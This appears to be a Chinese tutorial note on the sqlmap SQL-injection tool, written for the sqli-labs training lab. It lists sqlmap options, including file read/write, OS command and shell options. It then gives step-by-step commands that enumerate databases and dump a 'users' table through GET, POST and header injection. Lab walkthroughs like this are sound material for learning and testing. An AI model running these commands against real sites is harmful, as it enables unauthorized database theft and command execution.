sqlmap常见参数使用:
-h 输出参数说明 -hh 输出详细的参数说明 -v 输出级别(0~6,默认1) -u url 指定url --data=DATA 该参数指定的数据会被作为POST数据提交 -r file.txt 常用于POST注入或表单提交时注入 -p / --skip 指定/跳过测试参数 --cookie 设置cookie --force-ssl 强制使用SSL --threads 指定线程并发数 --prefix 指定前缀 --suffix 指定后缀 --level 检测级别(1~5,默认1) --risk 风险等级(1~4,默认1) --all 列举所有可访问的数据(不推荐) --banner 列举数据库系统的信息等 --current-user 输出当前用户 --current-db 输出当前所在数据库 --hostname 输出服务器主机名 --is-dba 检测当前用户是否为管理员 --users 输出数据库系统的所有用户 --dbs 输出数据库系统的所有数据库 -D DB 指定数据库 --tables 在-D情况下输出库中所有表名 -T table 在-D情况下指定数据表 --columns 在-D -T情况下输出表中所有列名 -C column 在-D -T情况下输出某列数据的值 --dump 拉取数据存放到本地 --dump-all 拉取所有可访问数据存放到本地 --count 输出数据条目数量 --search 搜索数据库名、表明、列名,需要与-D -T或-C 联用 --sql-query 执行任意的SQL语句 --sql-shell 使用交互式SQL语句执行环境 --flie-read 读取文件 --file-write 上传文件(指定本地路径) --file-dest 上传文件(指定目标机器路径) --os-cmd 执行任意系统命令 --os-shell 使用交互式shell执行命令 --batch 所有要求输入都选取默认值 --wizard 初学者向导
less1-10 get型
猜解当前数据库名称 sqlmap -u url --batch --current-db 猜解表名 sqlmap -u url --batch -D "security" --tables 猜解字段 sqlmap -u url -D "security" -T "users" --columns 脱库 sqlmap -u url -D "security" -T "users" --dump
以第五题为例
1.猜解当前数据库名称
2.猜解表名
我们得到敏感数据表名 ' users '
3.猜解字段
4.脱库
less11-17 post型
启动sqlmap探测注入点 sqlmap -u url --data="uname=admin&passwd=admin" --batch 爆破当前数据库名 sqlmap -u url --data="uname=admin&passwd=admin" --batch --current-db 爆破数据表 sqlmap -u url --data="uname=admin&passwd=admin" --batch -D security --tables 最后脱库 sqlmap -u url --data="uname=admin&passwd=admin" --batch -D security -T users --dump
以12题为例
启动sqlmap探测注入点,剩下步骤同get型
Less18-22 头部注入
在头部注入爆破中,sqlmap需要提高扫描等级 level和risk
level x (x为1-5) 当为2时会对头部的cookie进行扫描注入尝试,x>=3时对 user-Agent , ip , referer 参数进行扫描
risk x (x 为1-3) 1时进行大部分扫描 2会增加基于事件的测试语句 3会增加or语句的sql注入
以18题为例